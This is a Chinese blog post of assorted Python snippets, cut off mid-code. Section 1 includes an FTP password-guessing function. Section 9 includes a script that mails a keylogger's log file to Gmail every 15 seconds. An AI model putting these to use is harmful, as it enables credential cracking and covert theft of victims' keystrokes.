{"id":1516,"date":"2014-10-21T16:47:52","date_gmt":"2014-10-21T16:47:52","guid":{"rendered":"http:\/\/ixyzero.com\/blog\/?p=1516"},"modified":"2014-10-21T16:47:52","modified_gmt":"2014-10-21T16:47:52","slug":"%e4%b8%80%e4%ba%9bpython%e7%89%87%e6%ae%b5_6","status":"publish","type":"post","link":"https:\/\/ixyzero.com\/blog\/archives\/1516.html","title":{"rendered":"\u4e00\u4e9bPython\u7247\u6bb5_6"},"content":{"rendered":"<h5>1.Python\u7684ftplib\u6a21\u5757<\/h5>\n<p>\u5148\u770b\u5b9e\u4f8b\uff1a<\/p>\n<pre class=\"lang:default decode:true \">def ftp_anon(host):\n    try:\n        print 'n[+] \u6d4b\u8bd5\u533f\u540d\u767b\u9646\u2026\u2026n'\n        ftp = ftplib.FTP()\n        ftp.connect(host, 21, 10)\n        ftp.login()\n        ftp.retrlines('LIST')\n        ftp.quit()\n        print 'n[+] \u533f\u540d\u767b\u9646\u6210\u529f\u2026\u2026'\n    except ftplib.all_errors:\n        print 'n[-] \u533f\u540d\u767b\u9646\u5931\u8d25\u2026\u2026'\n\ndef ftp_crack(host, user, pwd):\n    try:\n        ftp = ftplib.FTP()\n        ftp.connect(host, 21, 10)\n        ftp.login(user, pwd)\n        ftp.retrlines('LIST')\n        ftp.quit()\n        print 'n[+] \u767b\u9646\u6210\u529f\uff0c\u7528\u6237\u540d\uff1a' + user + ' \u5bc6\u7801\uff1a' + pwd\n    except ftplib.all_errors:\n        pass<\/pre>\n<p>ftp = ftplib.FTP() \u00a0#\u8fd4\u56deFTP\u7c7b\u7684\u4e00\u4e2a\u5b9e\u4f8b<\/p>\n<p>ftp.connect(host, 21, 10) \u00a0#\u8fde\u63a5host\u768421\u7aef\u53e3\uff0c\u53d6timeout\u4e3a10<\/p>\n<p>ftp.retrlines(&#8216;LIST&#8217;) \u00a0#\u4ee5ASCII\u6a21\u5f0f\u8fd4\u56de\u76ee\u5f55\/\u6587\u4ef6\u5217\u8868<\/p>\n<p>\u5b98\u65b9\u6587\u6863\uff1a<a href=\"https:\/\/docs.python.org\/2\/library\/ftplib.html\" target=\"_blank\">20.8. ftplib \u2014 FTP protocol client \u2014 Python 2.7.8 documentation<\/a><\/p>\n<h5>2.Python\u7684socket\u6a21\u5757\u7684\u7b80\u5355\u4ecb\u7ecd<\/h5>\n<p>\u4e00\u3001\u901a\u8fc7gethostbyname\u83b7\u53d6\u57df\u540d\u5bf9\u5e94\u7684IP(s)<\/p>\n<pre class=\"lang:default decode:true \">host = socket.gethostbyname('ixyzero.com')<\/pre>\n<pre class=\"lang:default decode:true \">In [10]: socket.gethostbyname?\nType:        builtin_function_or_method\nString form: &lt;built-in function gethostbyname&gt;\nDocstring:\ngethostbyname(host) -&gt; address\n\nReturn the IP address (a string of the form '255.255.255.255') for a host.\n\nIn [11]: socket.gethostbyname_ex?\nType:        builtin_function_or_method\nString form: &lt;built-in function gethostbyname_ex&gt;\nDocstring:\ngethostbyname_ex(host) -&gt; (name, aliaslist, addresslist)\n\nReturn the true host name, a list of aliases, and a list of IP addresses,\nfor a host.  The host argument is a string giving a host name or IP number.\n\nIn [12]: baidu = socket.gethostbyname('www.baidu.com')\n\nIn [13]: type(baidu)\nOut[13]: str\n\nIn [14]: print baidu\n220.181.112.244\n\nIn [15]: baidu2 = socket.gethostbyname_ex('www.baidu.com')\n\nIn [16]: type(baidu2)\nOut[16]: tuple\n\n\nIn [17]: print baidu2\n('www.a.shifen.com', ['www.baidu.com'], ['220.181.112.244', '220.181.111.188'])\n\nIn [18]: for item in baidu2[2]: print item\n220.181.112.244\n220.181.111.188<\/pre>\n<pre class=\"lang:default decode:true \">import socket\nresult = socket.getaddrinfo('www.baidu.com', None, 0, socket.SOCK_STREAM)\ncounter = 1\nfor item in result:\n    print \"%-2d: %s\" % (counter, item[4])\n    counter += 1<\/pre>\n<p>&nbsp;<\/p>\n<h5>3.Python\u7684\u5b57\u5178\u53bb\u91cd\/\u8ba1\u6570&amp;\u6392\u5e8f<\/h5>\n<pre class=\"lang:default decode:true \">def get_counts(sequence):\n    counts = {}\n    for x in sequence:\n        if x in counts:\n            counts[x] += 1\n        else:\n            counts[x] = 1\n    return counts\n####\nfrom collections import defaultdict\ndef get_counts2(sequence):\n    counts = defaultdict(int)\n    for x in sequence:\n        counts[x] += 1\n    return counts\n####<\/pre>\n<pre class=\"lang:default decode:true \">dict_str = {'blue':'5555@sina.com', 'allen':'222@163.com', 'sophia':'4444@gmail.com', 'ceen':'blue@263.net'}\nprint dict_str\n# \u6309\u7167key\u8fdb\u884c\u6392\u5e8f\nprint sorted(dict_str.items(), key=lambda d:d[0])\n# \u6309\u7167value\u8fdb\u884c\u6392\u5e8f\nprint sorted(dict_str.items(), key=lambda d:d[1])\n\nfor key, value in dict_str.items():\n\tprint key, value<\/pre>\n<p>&nbsp;<\/p>\n<h5>4.Python\u4e2d\u51fd\u6570\u4ea6\u4e3a\u5bf9\u8c61<\/h5>\n<pre class=\"lang:default decode:true \">####\u51fd\u6570\u4ea6\u4e3a\u5bf9\u8c61####\nstates = ['  Alabama ', 'Georgia!', 'Georgia', 'georgia', 'south    carolina##', ' West virginia?', 'New York .', 'China.', 'Beijing...']\n\nimport re\ndef clean_stings(strings):\n    result = []\n    for value in strings:\n        value = value.strip()\n        value = re.sub('[!#?]', '', value)\n        value = value.title()\n        result.append(value)\n    return result\nclean_stings(states)\n\ndef remove_punctuation(value):\n    return re.sub('[!?#]', '', value)\nclean_ops = [str.strip, remove_punctuation, str.title]\ndef clean_stings2(strings, ops):\n    result = []\n    for value in strings:\n        for function in ops:\n            value = function(value)\n        result.append(value)\n    return result\nclean_stings2(states, clean_ops)\n\nmap(remove_punctuation, states) #\u5185\u7f6e\u7684map\u51fd\u6570\u6709\u70b9\u725b\u903c\u554a!<\/pre>\n<p>&nbsp;<\/p>\n<h5>5.Python\u4e2d\u7684\u63a8\u5bfc\u5f0f{\u8d85\u8d5e\uff01}<\/h5>\n<pre class=\"lang:default decode:true\">#\u5217\u8868\u63a8\u5bfc\u5f0f\nstrings = ['a', 'as', 'a', 'bad', 'boy', 'Python']\n[x.upper() for x in strings]\n[x.upper() for x in strings if len(x)&gt;2]\n\n#\u5b57\u5178\u63a8\u5bfc\u5f0f\ndict_map = {key:value for key, value in enumerate(strings)}\ndict_map = dict((value, key) for key, value in enumerate(strings))\ndef file_2_dict(fileName):\n    return {k.strip():v.strip() for k, v in (l.split('=') for l in open(fileName))}\n\n#\u96c6\u5408\u63a8\u5bfc\u5f0f\nset_map = {key for key in strings}\n\n#\u5d4c\u5957\u5217\u8868\u63a8\u5bfc\u5f0f\nall_data = [['Tom', 'Jerry', 'Lily', 'Lucy', 'Hello,world', 'Jefferson', 'Steven', 'Joe', 'Bill'], ['Susie', 'Cookie', 'Qunar', 'Baidu', 'Notepad', 'Apple', 'Alibaba']]\nnames_of_interset = []\nfor names in all_data:\n    enough = [name for name in names if name.count('e')&gt;2]\n    names_of_interset.extend(enough)\n\nnames2 = [name for names in all_data for name in names if name.count('e') &gt; 2]\nnames3 = [name for names in all_data for name in names]<\/pre>\n<p>&nbsp;<\/p>\n<h5>6.Python\u7684encode\u548cdecode\u65b9\u6cd5<\/h5>\n<p>\u5148\u6765\u4e00\u4e2aWindows\u4e0b\u7684\u5c01\u88c5\u51fd\u6570\uff0c\u907f\u514d\u51fa\u73b0\u4e71\u7801\uff1a<\/p>\n<pre class=\"lang:default decode:true \">import sys\ndef encode(s):\n    return s.decode('utf-8').encode(sys.stdout.encoding, 'ignore')<\/pre>\n<p>\u8be5\u51fd\u6570\u7684\u529f\u80fd\uff0c\u5c31\u662f\u5148\u5c06\u7ed9\u5b9a\u7684\u5b57\u7b26\u4e32s\u8fdb\u884cutf8\u89e3\u7801\uff0c\u7136\u540e\u518d\u4f7f\u7528\u7cfb\u7edf\u7ec8\u7aef\u9ed8\u8ba4\u5b57\u7b26\u7f16\u7801\u65b9\u5f0f\u5bf9\u5b57\u7b26\u4e32\u8fdb\u884c\u7f16\u7801\uff0c\u5bf9\u4e8eWindows\u4e0b\u7684\u7ec8\u7aef\u663e\u793a\u6548\u679c\u5f88\u597d\uff1b<\/p>\n<p>Python\u5185\u5efa\u7684encode()\u65b9\u6cd5\u4ee5 encoding \u6307\u5b9a\u7684\u7f16\u7801\u683c\u5f0f\u7f16\u7801\u5b57\u7b26\u4e32\u3002errors\u53c2\u6570\u53ef\u4ee5\u6307\u5b9a\u4e0d\u540c\u7684\u9519\u8bef\u5904\u7406\u65b9\u6848\u3002<br \/>\n\u8bed\u6cd5\uff1astr.encode(encoding=&#8217;UTF-8&#8242;,errors=&#8217;strict&#8217;)<br \/>\nencoding &#8212; \u8981\u4f7f\u7528\u7684\u7f16\u7801\uff0c\u5982&#8221;UTF-8&#8243;\u3002<br \/>\nerrors &#8212; \u8bbe\u7f6e\u4e0d\u540c\u9519\u8bef\u7684\u5904\u7406\u65b9\u6848\u3002\u9ed8\u8ba4\u4e3a &#8216;strict&#8217;,\u610f\u4e3a\u7f16\u7801\u9519\u8bef\u5f15\u8d77\u4e00\u4e2aUnicodeError\u3002 \u5176\u4ed6\u53ef\u80fd\u5f97\u503c\u6709 &#8216;ignore&#8217;, &#8216;replace&#8217;, &#8216;xmlcharrefreplace&#8217;, &#8216;backslashreplace&#8217; \u4ee5\u53ca\u901a\u8fc7 codecs.register_error() \u6ce8\u518c\u7684\u4efb\u4f55\u503c\u3002<\/p>\n<p>\u4e00\u822c\u5728\u548c\u5b57\u7b26\u7f16\u7801\u76f8\u5173\u7684Python\u811a\u672c\u4e2d\uff0c\u7ecf\u5e38\u9700\u8981\u5728\u5f00\u5934\u6dfb\u52a0\uff1a<\/p>\n<pre class=\"lang:default decode:true\">import sys\nreload(sys)\nsys.setdefaultencoding('utf8')<\/pre>\n<p>\u56e0\u4e3a\u5728Python2.5\u53ca\u4ee5\u540e\u7684\u7248\u672c\u4e2d\uff0c\u521d\u59cb\u5316\u4e4b\u540e\u4f1a\u5220\u9664 sys.setdefaultencoding \u8fd9\u4e2a\u65b9\u6cd5\uff0c\u6211\u4eec\u9700\u8981\u91cd\u65b0\u8f7d\u5165reload(sys)\uff0c\u7136\u540e\u624b\u52a8\u6307\u5b9a\u9ed8\u8ba4\u7f16\u7801\u65b9\u5f0f\u3002<\/p>\n<pre class=\"lang:default decode:true\">In [26]: import sys\n\nIn [27]: print sys.stdout.encoding\ncp936\n\nIn [28]: a = 'string...'\n\nIn [29]: a.encode?\nType:        builtin_function_or_method\nString form: &lt;built-in method encode of str object at 0x033E41C0&gt;\nDocstring:\nS.encode([encoding[,errors]]) -&gt; object\n\nEncodes S using the codec registered for encoding. encoding defaults\nto the default encoding. errors may be given to set a different error\nhandling scheme. Default is 'strict' meaning that encoding errors raise\na UnicodeEncodeError. Other possible values are 'ignore', 'replace' and\n'xmlcharrefreplace' as well as any other name registered with\ncodecs.register_error that is able to handle UnicodeEncodeErrors.\nencoding\u9ed8\u8ba4\u5c06s\u7f16\u7801\u4e3a\u7cfb\u7edf\u9ed8\u8ba4\u7f16\u7801\u683c\u5f0f\uff0c\u9ed8\u8ba4\u7684strict\u53ef\u80fd\u4f1a\u5bfc\u81f4UnicodeEncodeError\u9519\u8bef\n\nIn [30]: s = '\u4e2d\u56fd'\n\nIn [31]: print s\n\u6d93\ue15e\u6d57\n\nIn [32]: type(s)\nOut[32]: str\n\nIn [33]: repr(s)\nOut[33]: \"'\\xe4\\xb8\\xad\\xe5\\x9b\\xbd'\"\n\nIn [34]: s.en\ns.encode   s.endswith\n\nIn [34]: s.encode('gb2312')\n---------------------------------------------------------------------------\nUnicodeDecodeError                        Traceback (most recent call last)\n&lt;ipython-input-34-d73c576b1830&gt; in &lt;module&gt;()\n----&gt; 1 s.encode('gb2312')\n\nUnicodeDecodeError: 'ascii' codec can't decode byte 0xe4 in position 0: ordinal not in range(128)\n'''\n\u8fd9\u91cc\u629b\u51fa\u5f02\u5e38\u7684\u539f\u56e0\u5728\u4e8e\uff1aPython \u4f1a\u81ea\u52a8\u7684\u5148\u5c06 s \u89e3\u7801\u4e3a unicode \uff0c\u7136\u540e\u518d\u7f16\u7801\u6210 gb2312\u3002\u56e0\u4e3a\u89e3\u7801\u662fpython\u81ea\u52a8\u8fdb\u884c\u7684\uff0c\u6211\u4eec\u6ca1\u6709\u6307\u660e\u89e3\u7801\u65b9\u5f0f\uff0cpython \u5c31\u4f1a\u4f7f\u7528 sys.defaultencoding \u6307\u660e\u7684\u65b9\u5f0f\u6765\u89e3\u7801\u3002\u5f88\u591a\u60c5\u51b5\u4e0b sys.defaultencoding \u662f ASCII\uff0c\u5982\u679c s \u4e0d\u662f\u8fd9\u4e2a\u7c7b\u578b\u5c31\u4f1a\u51fa\u9519\u3002\n'''\n\nIn [35]: s.decode('utf-8').encode('gb2312')\nOut[35]: 'xd6xd0xb9xfa'\n\nIn [36]: sys.stdout.encoding\nOut[36]: 'cp936'\n\nIn [37]: s.decode('utf-8')\nOut[37]: u'u4e2du56fd'\n\nIn [38]: s.decode('utf-8').encode('utf-8')\nOut[38]: 'xe4xb8xadxe5x9bxbd'\n\nIn [39]: s.decode?\nType:        builtin_function_or_method\nString form: &lt;built-in method decode of str object at 0x034F39C0&gt;\nDocstring:\nS.decode([encoding[,errors]]) -&gt; object\n\nDecodes S using the codec registered for encoding. encoding defaults\nto the default encoding. errors may be given to set a different error\nhandling scheme. Default is 'strict' meaning that encoding errors raise\na UnicodeDecodeError. Other possible values are 'ignore' and 'replace'\nas well as any other name registered with codecs.register_error that is\nable to handle UnicodeDecodeErrors.\n\u5f53\u6211\u4eec\u6ca1\u6709\u6307\u660e\u89e3\u7801\u65b9\u5f0f\u65f6\uff0cPython \u5c31\u4f1a\u4f7f\u7528 sys.defaultencoding \u6307\u660e\u7684\u65b9\u5f0f\u6765\u89e3\u7801\u3002\u5f88\u591a\u60c5\u51b5\u4e0b sys.defaultencoding \u662f ASCII\uff0c\u5982\u679c s \u4e0d\u662f\u8fd9\u4e2a\u7c7b\u578b\u5c31\u4f1a\u51fa\u9519\u3002<\/pre>\n<h6>\u53c2\u8003\u94fe\u63a5\uff1a<\/h6>\n<ul>\n<li><a href=\"http:\/\/blog.csdn.net\/dao123mao\/article\/details\/5396497\" target=\"_blank\">Python Unicode\u4e0e\u4e2d\u6587\u5904\u7406<\/a><\/li>\n<li><a href=\"http:\/\/www.cnblogs.com\/DxSoft\/archive\/2010\/05\/21\/1741043.html\" target=\"_blank\">python\u7684str\uff0cunicode\u5bf9\u8c61\u7684encode\u548cdecode\u65b9\u6cd5<\/a><\/li>\n<\/ul>\n<h5>7.Python\u7684\u5b57\u7b26\u4e32split\u51fd\u6570\u6539\u8fdb\u7248<\/h5>\n<pre class=\"lang:default decode:true \">def tsplit(string, delimiters):\n    \"\"\"Behaves str.split but supports multiple delimiters.\"\"\"\n    delimiters = tuple(delimiters)\n    stack = [string,]\n    for delimiter in delimiters:\n        for i, substring in enumerate(stack):\n            substack = substring.split(delimiter)\n            stack.pop(i)\n            for j, _substring in enumerate(substack):\n                stack.insert(i+j, _substring)\n\n    return stack\n####\ns = 'thing1,thing2\/thing3-thing4'\nprint tsplit(s, (',', '\/', '-'))\t# ['thing1', 'thing2', 'thing3', 'thing4']\nprint tsplit('\u4f60\u597d\uff0cPython,yoyo-checknow. Justdoit!', (',', '\uff0c', '.'))\t# ['xe4xbdxa0xe5xa5xbd', 'Python', 'yoyo-checknow', ' Justdoit!']<\/pre>\n<h5>8.Python\u4e0b\u8f7dOSChina\u7684\u4ee3\u7801<\/h5>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n# -*- coding: utf-8 -*-\nimport re, urllib, sys, time\n\ndef main():\n    #\u4f2a\u88c5\u6d4f\u89c8\u5668\n    headers = ('User-Agent','Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident\/6.0)')\n    opener = urllib.URLopener()\n    opener.addheaders = [headers]\n    #\u5faa\u73af\u5217\u8868\u9875\n    for page in range(1,29):\n        url = \"http:\/\/www.oschina.net\/code\/list\/7\/python?show=time&amp;p=\" + str(page)\n        data = opener.open(url).read()\n        data = data.decode('UTF8')\n        #\u53d6\u51fa\u6587\u7ae0\u7684url\u5730\u5740\n        url_list = re.findall(re.compile(r'&lt;a href=\"(.*)\" target=\"_blank\" title='), data)\n        #\u53d6\u51fa\u6587\u7ae0\u540d\u79f0\n        post_list = re.findall(re.compile(r'\"_blank\" title=\"(.*)\"&gt;'), data)\n        for i in range(len(url_list)):\n            reload(sys)\n            sys.setdefaultencoding('utf-8')\n            post_data = opener.open(url_list[i]).read()\n            post_data = post_data.decode('UTF8')\n            #\u7531\u4e8e\u521a\u5165\u95e8\uff0c\u5bf9re\u4e0d\u662f\u7279\u522b\u4e86\u89e3\uff0c\u8bf7\u6559\u4e86\u5927\u62ff\u540e\u7ed9\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u65b9\u6848\uff0c\u66ff\u6362\u6362\u884c\u4e3aAaA\uff0c\u7136\u540e\u53d6\u51fa\u6587\u7ae0\n            x = post_data.replace('n', 'AaA')\n            post = re.match(r\".*&lt;pre class=\"brush: python; auto-links: false; \"&gt;(.*)&lt;\/pre\", x)\n            print(post_list[i])\n            #\u4e00\u5f00\u59cb\u4f7f\u7528\u7684\u65f6\u5019\u53d1\u73b0\u62a5\u9519\uff0c\u56e0\u4e3a\u6709\u7684\u6587\u7ae0\u9875\u9762\u6ca1\u6709\u4efb\u4f55\u4ee3\u7801\uff0c\u6240\u4ee5\u52a0\u4e86try\u3002\n            try:\n                #\u6839\u636e\u6587\u7ae0\u540d\u79f0\u547d\u540d\u6587\u4ef6\n                post_name = re.sub('[\/:.* ]', '_', post_list[i])\n                f = open(r'oschina\/%s.py' % post_name, 'w')\n                post = post.group(1).replace('AaA', 'n')\n                f.write(post)\n                f.close()\n            except AttributeError:\n                print(post_list[i] + \":null\")\n            time.sleep(1)\n    print('That' all!')\nif __name__ == '__main__':\n    main()<\/pre>\n<p><strong>\u539f\u6587\u94fe\u63a5<\/strong>\uff1a<a href=\"http:\/\/blog.yunvi.com\/html\/1052.html\" target=\"_blank\">python \u4e0b\u8f7doschina python\u4ee3\u7801<\/a><\/p>\n<h5>9.\u7528Python\u53d1\u90ae\u4ef6<\/h5>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n#-*- coding: utf8 -*-\n'''\n\u7528\u4e8e\u53d1\u9001\u90ae\u4ef6(\u53ef\u4ee5\u53d1\u9001\u9644\u4ef6)\u7684\u547d\u4ee4\u884c\u7a0b\u5e8f\n'''\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nimport sys\n\ndef helpinfo():\n    print '''\n    Useage: pymail -u user@domain -p passwd -h smtp server host -t to who [-a attachment file path] [-n attachment name]\n    Useage: email content use . to end\n    -h  specify smtp server host\n    -u  which user you login the smtp server,and must with it domain\n    -p  the password of the smtp user\n    -t  The email recipient,multiple addresses can use ',' split\n    -a  Add attachment\n    -n  Secify attachment name in the email\n    '''\n\noptions = ['-t', '-a', '-n', '-h', '-u', '-p', '-s']    # \u6240\u6709\u9009\u9879\nargvnum = len(sys.argv) # \u83b7\u53d6\u9009\u9879\u957f\u5ea6\n# \u68c0\u6d4b\u547d\u4ee4\u884c\u53c2\u6570\nfor i in range(argvnum):\n    if ( i % 2 != 0):\n        if (sys.argv[i] not in options):\n            print 'Unknow option ', sys.argv[i] , ', Please use -h see help!'\n            sys.exit(3)\n# \u5982\u679c\u662f-h\u6216\u8005\u6ca1\u6709\u547d\u4ee4\u884c\u53c2\u6570\u5219\u663e\u793a\u5e2e\u52a9\ntry:\n    if sys.argv[1] == '-h' or len(sys.argv) == 0:\n        helpinfo()\nexcept:\n    helpinfo()\n# \u68c0\u6d4b-n\u53c2\u6570\nif ('-n' in sys.argv) and ('-a' not in sys.argv):\n    print 'Error:option \"-n\" must use after -a'\n    sys.exit(2)\n# \u4e0b\u9762\u5219\u662f\u83b7\u53d6\u5404\u4e2a\u53c2\u6570\u5185\u5bb9\ntry:\n    tmpmailto = sys.argv[sys.argv.index('-t')  + 1]\n    if ',' in tmpmailto:\n        mailto = tmpmailto.split(',')\n    else:\n        mailto = [tmpmailto,]\nexcept ValueError:\n    print 'Error: need Mail Recipient'\n    sys.exit(1)\nhaveattr=True\ntry:\n    attrpath = sys.argv[sys.argv.index('-a') + 1]\n    try:\n        attrname = sys.argv[sys.argv.index('-n') +1 ]\n    except ValueError:\n        attrname = attrpath.split('\/')[-1]\nexcept:\n    attrname = None\n    haveattr = False\n    attrpath = None\ntry:\n    mail_host = sys.argv[sys.argv.index('-h') +1]\nexcept ValueError:\n    print 'Waring: No specify smtp server use 127.0.0.1'\n    mail_host = '127.0.0.1'\ntry:\n    mail_useremail = sys.argv[sys.argv.index('-u') +1]\nexcept ValueError:\n    print 'Waring: No specify user, use root'\n    mail_useremail = 'root@localhost'\ntry:\n    mail_sub = sys.argv[sys.argv.index('-s') + 1]\nexcept:\n    mail_sub = 'No Subject'\nmail_user = mail_useremail.split('@')[0]\nmail_postfix = mail_useremail.split('@')[1]\ntry:\n    mail_pass = sys.argv[sys.argv.index('-p') +1]\nexcept ValueError:\n    mail_pass = ''\n# \u5b9a\u4e49\u90ae\u4ef6\u53d1\u9001\u51fd\u6570\ndef send_mail(to_list, sub, content, haveattr, attrpath, attrname):\n    me = mail_user + \"&lt;\" + mail_user+\"@\"+mail_postfix +\"&gt;\"\n    # \u5224\u65ad\u662f\u5426\u6709\u9644\u4ef6\n    if (haveattr):\n        if (not attrpath):\n            print 'Error : no input file of attachments'\n            return False\n        # \u6709\u9644\u4ef6\u5219\u521b\u5efa\u4e00\u4e2a\u5e26\u9644\u4ef6\u7684\u5b9e\u4f8b\n        msg = MIMEMultipart()\n        # \u6784\u9020\u9644\u4ef6\n        att = MIMEText(open(attrpath, 'rb').read(),'base64', 'utf8')\n        att[\"Content-Type\"] = 'application\/octest-stream'\n        att[\"Content-Disposition\"] = 'attachment;filename=\"'+ attrname +'\"'\n        msg.attach(att)\n        msg.attach(MIMEText(content))\n    else:\n        # \u65e0\u8d23\u521b\u5efa\u4e00\u4e2a\u6587\u672c\u7684\u5b9e\u4f8b\n        msg = MIMEText(content)\n    # \u90ae\u4ef6\u5934\n    msg['Subject'] = sub\n    msg['From'] = me\n    msg['To'] = \";\".join(to_list)\n    try:\n        # \u53d1\u9001\u90ae\u4ef6\n        s = smtplib.SMTP()\n        s.connect(mail_host)\n        if (mail_host != '127.0.0.1'):\n            s.login(mail_user, mail_pass)\n        s.sendmail(me, to_list, msg.as_string())\n        s.close()\n        return True\n    except Exception, e:\n        print str(e)\n        return False\n\nif __name__ == '__main__':\n    try:\n        content = ''\n        while True:\n            c = raw_input('')\n            if c == '.':\n                break\n            content += c + 'n'\n    except EOFError:\n        for line in sys.stdin:\n            content += line\n    if send_mail(mailto, mail_sub, content, haveattr, attrpath, attrname):\n        print \"Success\"\n    else:\n        print \"Failed\"<\/pre>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n#coding=utf-8\n\nimport smtplib\nfrom email.Message import Message\nimport time\nimport optparse\nimport sched\n\nschedular=sched.scheduler(time.time, time.sleep)\n\ndef sendMail(emailTo, thePasswd):\n    systemTime=time.strftime('%Y-%m-%d-%T',time.localtime(time.time()))\n    try:\n        fileObj=open(\"\/root\/.secret-keys.log\", \"r\")    #\"\/root\/.secret-keys.log\"\u662f\u952e\u76d8\u8bb0\u5f55\u7684\u8f93\u51fa\u6587\u4ef6\uff0c\u6839\u636e\u8f93\u51fa\u6587\u4ef6\u7684\u4e0d\u540c\u9002\u5f53\u7684\u4fee\u6539\n        content=fileObj.read()\n    except:\n        print \"Cannot read filen\"\n        exit()\n\n    message = Message()\n    message['Subject'] = 'Log Keys'    #\u90ae\u4ef6\u6807\u9898\n    message['From'] = \"ixyzero.com@qq.com\"\n    message['To'] = emailTo\n    message.set_payload(\"\u5f53\u524d\u65f6\u95f4\"+systemTime+\"n\"+content)    #\u90ae\u4ef6\u6b63\u6587\n    msg = message.as_string()\n\n    smtp = smtplib.SMTP(\"smtp.gmail.com\", port=587, timeout=20)\n    #sm.set_debuglevel(1)\t\t#\u5f00\u542fdebug\u6a21\u5f0f\n    smtp.starttls()\t\t\t\t#\u4f7f\u7528\u5b89\u5168\u8fde\u63a5\n    smtp.login(emailTo, thePasswd)\n    smtp.sendmail(\"ixyzero.com@qq.com\", emailTo, msg)\n    time.sleep(5)\t#\u907f\u514d\u90ae\u4ef6\u6ca1\u6709\u53d1\u9001\u5b8c\u6210\u5c31\u8c03\u7528\u4e86quit()\n    smtp.quit()\n\ndef perform(inc, emailTo, thePasswd):\n    schedular.enter(inc, 0, perform, (inc, emailTo, thePasswd))\n    sendMail(emailTo, thePasswd)\n\ndef myMain(inc, emailTo, thePasswd):\n    schedular.enter(0, 0, perform, (inc, emailTo, thePasswd))\n    schedular.run()\n\nif __name__==\"__main__\":\n    optObj=optparse.OptionParser()\n    optObj.add_option(\"-u\", dest=\"user\", help=\"Gmail account\")\n    optObj.add_option(\"-p\", dest=\"passwd\", help=\"Gmail Passwd\")\n    (options, args)=optObj.parse_args()\n\n    emailName=options.user\n    emailPasswd=options.passwd\n    myMain(15, emailName, emailPasswd)\t#15\u8868\u793a\u7684\u662f\u76f8\u9694\u65f6\u95f4\uff0c\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u9700\u6c42\u8bbe\u5b9a<\/pre>\n<h6>\u53c2\u8003\u94fe\u63a5\uff1a<\/h6>\n<ul>\n<li><a href=\"http:\/\/www.linuxzen.com\/yong-pythonfa-dai-fu-jian-de-you-jian-yong-lai-ding-shi-bei-fen-mysqlshu-ju-ku.html\" target=\"_blank\">\u7528python\u53d1\u5e26\u9644\u4ef6\u7684\u90ae\u4ef6\u7528\u6765\u5b9a\u65f6\u5907\u4efdmysql\u6570\u636e\u5e93<\/a><\/li>\n<li><a title=\"\u8bb0\u5f55\u952e\u76d8\u6572\u51fb\u8bb0\u5f55 &amp;&amp; \u5b9a\u65f6\u53d1\u9001\u90ae\u4ef6\" href=\"http:\/\/ixyzero.com\/blog\/archives\/141.html\" target=\"_blank\">\u8bb0\u5f55\u952e\u76d8\u6572\u51fb\u8bb0\u5f55 &amp;&amp; \u5b9a\u65f6\u53d1\u9001\u90ae\u4ef6<\/a><\/li>\n<\/ul>\n<h5>10.\u6587\u4ef6\u5408\u5e76<\/h5>\n<pre class=\"lang:default decode:true\">#!\/usr\/bin\/env python\n# coding=utf-8\nimport sys, os, msvcrt\n\ndef join(in_filenames, out_filename):\n    out_file = open(out_filename, 'w+')\n    err_files = []\n    for file in in_filenames:\n        try:\n            in_file = open(file, 'r')\n            out_file.write(in_file.read())\n            out_file.write('nn')\n            in_file.close()\n        except IOError:\n            print 'error joining: ', file\n            err_files.append(file)\n    out_file.close()\n    print 'join completed. %d file(s) missed.' % len(err_files)\n    print 'output file: ', out_filename\n    if len(err_files) &gt; 0:\n        print 'missed files:'\n        print '--------------------------------'\n        for file in err_files:\n            print file\n        print '--------------------------------'\n\nif __name__ == '__main__':\n    print 'scanning...'\n    in_filenames = []\n    for file in os.listdir(sys.argv[1]):\n        if file.lower().endswith('[all].txt'):\n            os.remove(file)\n        elif file.lower().endswith('.txt'):\n            in_filenames.append(file)\n    if len(in_filenames) &gt; 0:\n        print '----------------------------------------'\n        print '%d part(s) in total.' % len(in_filenames)\n        print '----------------------------------------'\n        book_name = raw_input('Enter the book name: ')\n        print 'joining...'\n        join(in_filenames, book_name + '[ALL].txt')\n    else:\n        print 'nothing found.'\n    msvcrt.getch()<\/pre>\n<h5>11.Python\u83b7\u53d6\u81ea\u8eab\u6587\u4ef6\u540d\u7684\u65b9\u6cd5<\/h5>\n<p>\u6709\u4e24\u79cd\u65b9\u6cd5\uff1a__file__\u548csys.argv[0]<\/p>\n<pre class=\"lang:default decode:true\"># coding=utf-8\nimport sys\nprint __file__\nprint sys.argv[0]\ntext = open(__file__).read()\nprint text[:-1]<\/pre>\n<h5>12.lxml\u6a21\u5757\u7684\u51e0\u4e2a\u7528\u6cd5<\/h5>\n<pre class=\"lang:default decode:true \">from lxml.html import parse\nfrom urllib2 import urlopen\nparsed = parse(urlopen('http:\/\/finance.yahoo.com\/q\/op?s=AAPL+Options'))\ndoc = parsed.getroot()\n\nlinks = doc.findall('.\/\/a')\nlinks[15:20]\nlnk = links[2]\nlnk.get('href')\nlnk.text_content()\n\nurls = [lnk.get('href') for lnk in doc.findall('.\/\/a')]\ntables = doc.findall('.\/\/table')\nrows = doc.findall('.\/\/tr')\n####\n\nzparsed = parse(urlopen('http:\/\/ixyzero.com\/blog\/sitemap.html'))\nzdoc = zparsed.getroot()\nzurls = [lnk.get('href') for lnk in zdoc.findall('.\/\/a')]\nzlinks = zdoc.findall('.\/\/a')\n####\n\nparseD = parse(urlopen('http:\/\/finance.yahoo.com\/q\/op?s=AAPL+Options'))\ndoc = parseD.getroot()\ndef _unpack(doc, kind='a'):\n\telts = doc.findall('.\/\/%s' % kind)\n\treturn [val.get('href') for val in elts]\n<\/pre>\n<h5>13.\u53cb\u94fe\u7edf\u8ba1\u76f8\u5173<\/h5>\n<pre class=\"lang:default decode:true \">#!\/usr\/bin\/env python\n# coding=utf-8\ndef affect(points, keep_ratio, ratio, power):\n    keep = points * keep_ratio\n    if ratio &gt;= 1.: return points\n    return keep + (points - keep) * pow(ratio, power)\n\ndef calc_link_points(host, ul):\n    # simplified host \u4e0d\u8981\u5b50\u57df\u540d\u90e8\u5206\uff01\n    parts = host.split('.')\n    if parts[-2] 